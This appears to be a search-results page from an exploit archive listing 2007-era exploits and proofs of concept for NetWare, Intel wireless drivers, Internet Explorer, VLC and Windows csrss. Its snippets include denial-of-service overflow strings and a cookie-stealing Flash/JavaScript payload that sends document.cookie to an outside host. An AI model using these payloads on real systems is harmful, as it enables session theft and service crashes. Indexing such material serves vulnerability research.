4755 matches found
Novell NetWare LSASS CIFS.NLM Driver Stack Buffer Overflow
This module exploits a stack buffer overflow in the NetWare CIFS.NLM driver. Since the driver runs in the kernel space, a failed exploit attempt can cause the OS to reboot. Module Options msf use exploit/netware/smb/lsass/cifs msf undefinedcifs show actions ...actions... msf undefinedcifs set...
Novell NetWare 6.5 SP2-SP7 - LSASS CIFS.NLM Overflow (Metasploit)
This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'Novell NetWare...
Intel Centrino ipw2200BG - Wireless Driver Remote Overflow
Intel Centrino ipw2200BG - Wireless Driver Remote Overflow / This is a PoC exploit for Intel Centrino ipw2200 integrated wireless card. Author: Giuseppe Gottardi aka oveRet Senior Security Engineer at Communication Valley S.p.A. This version of code is only a Proof of Concept stack based exploit...
Intel Centrino ipw2200BG Wireless Driver Remote Overflow PoC
Exploit for unknown platform in category remote exploits ============================================================ Intel Centrino ipw2200BG Wireless Driver Remote Overflow PoC ============================================================ / This is a PoC exploit for Intel Centrino ipw2200...
DivX Player 6.4.1 - DivXBrowserPlugin npdivx32.dll IE Denial of Service
DivX Player 6.4.1 - DivXBrowserPlugin npdivx32.dll IE Denial of Service DivXBrowserPlugin.GoWindowed milw0rm.com 2007-01-19...
Intel Centrino ipw2200BG - Wireless Driver Remote Overflow
/ This is a PoC exploit for Intel Centrino ipw2200 integrated wireless card. Author: Giuseppe Gottardi aka oveRet Senior Security Engineer at Communication Valley S.p.A. This version of code is only a Proof of Concept stack based exploit that demonstrates the remote code execution on ipw2200...
BrowseDialog Class (ccrpbds6.dll) Internet Explorer Denial of Service
No description provided by source. !-- ----------------------------------------------------------------------------------------------------------- BrowseDialog Class ccrpbds6.dll Internet Explorer Denial of Service author: shinnai mail: shinnaiatautisticidotorg site: http://shinnai.altervista.org...
MS Internet Explorer VML Remote Buffer Overflow Exploit (MS07-0 0 4)-vulnerability warning-the black bar safety net
In addition there is attention to detail: tested on WinXP SP2 Korean version fully patched except kb929969 & IE 6.0 sorry about that virus hit ratio is only about 1/5 The test environment is WinXP SP2 Korean version, in addition to kb929969, the other patch is complete, IE 6.0 The success rate of...
BrowseDialog Class ccrpbds6.dll Internet Explorer 7 - Denial of Service
BrowseDialog Class ccrpbds6.dll Internet Explorer 7 - Denial of Service argCount = 1 arg1=String2000000, "A" CCRPBDc.SelectedFolder = arg1 document.location.reload milw0rm.com 2007-01-18...
BrowseDialog Class 'ccrpbds6.dll' Internet Explorer 7 - Denial of Service
argCount = 1 arg1=String2000000, "A" CCRPBDc.SelectedFolder = arg1 document.location.reload milw0rm.com 2007-01-18...
CCRP Folder Treeview Control (ccrpftv6.ocx) IE Denial of Service Exploit
Exploit for unknown platform in category dos / poc ======================================================================== CCRP Folder Treeview Control ccrpftv6.ocx IE Denial of Service Exploit ======================================================================== argCount = 1...
Microsoft Internet Explorer - VML Remote Buffer Overflow (MS07-004)
Microsoft Internet Explorer - VML Remote Buffer Overflow MS07-004 and slightly modified - 2007.1.15 -- v: behavior: urlVMLRender; shellcode =...
MS Internet Explorer VML Remote Buffer Overflow Exploit (MS07-004)
Exploit for unknown platform in category remote exploits ================================================================== MS Internet Explorer VML Remote Buffer Overflow Exploit MS07-004 ================================================================== and slightly modified - 2007.1.15 -- v:...
Microsoft Internet Explorer - VML Remote Buffer Overflow (MS07-004)
and slightly modified - 2007.1.15 -- v: behavior: urlVMLRender; shellcode =...
VLC Media Player 0.8.6a Unspecified Denial of Service Exploit
No description provided by source. print "-----------------------------------------------------------------------" print " VLC media player 0.8.6a Denial of Service" print " author: shinnai" print " mail: shinnaiatautisticidotorg" print " site: http://shinnai.altervista.org"...
Nuked Klan任意.SWF文件COOKIE窃取漏洞
Nuked Klan是一款基于ASP的WEB应用程序。 Nuked Klan处理.swf文件存在问题，远程攻击者可以利用漏洞获取其他目标用户的敏感COOKIE信息。 构建一个.swf文件，放置如下代码： getURL"javascript:alert'document.location="http://site.com/cookie.php? cookie="+document.cookie';"; 或者 ?php $cookie = $GET'cookie'; $ip = getenv 'REMOTEADDR'; $date=date"m/d/Y g:i:s a";...
Durian Web Application Server 3.02 freeware for Win32 buffer overflow execute command exploit
No description provided by source. ?php / Durian Web Application Server 3.02 freeware for Win32 buffer overflow execute command exploit by rgod mail: retrog at alice dot it site: http://retrogod.altervista.org tested against xp sp2 ita software site - http://sourceforge.net/projects/durian/ /...
Exploits Microsoft Windows NtRaiseHardError Csrss.exe-winsrv.dll Double Free
No description provided by source. ///////////////////////////////////////// ///////////////////////////////////////// ///// Microsoft Windows NtRaiseHardError ///// Csrss.exe-winsrv.dll Double Free ///////////////////////////////////////// ///// Ruben Santamarta ///// ruben at reversemode dot co...
Microsoft Windows - 'Csrss.exe/winsrv.dll' NtRaiseHardError Double-Free
///////////////////////////////////////// ///////////////////////////////////////// ///// Microsoft Windows NtRaiseHardError ///// Csrss.exe-winsrv.dll Double Free ///////////////////////////////////////// ///// Ruben Santamarta ///// ruben at reversemode dot com ///// www.reversemode.com...
csrss.exe double-free vulnerability - arbitrary DWORD overwrite exploit
Hi, For those researchers who are interested in the Csrss Double-Free vulnerability, I have coded an arbitrary DWORD overwrite exploit. This flaw is hard to exploit at least for me due to the the "fail-and-die" situation. Corrupting the heap in a process like Csrss is dangerous. However, by...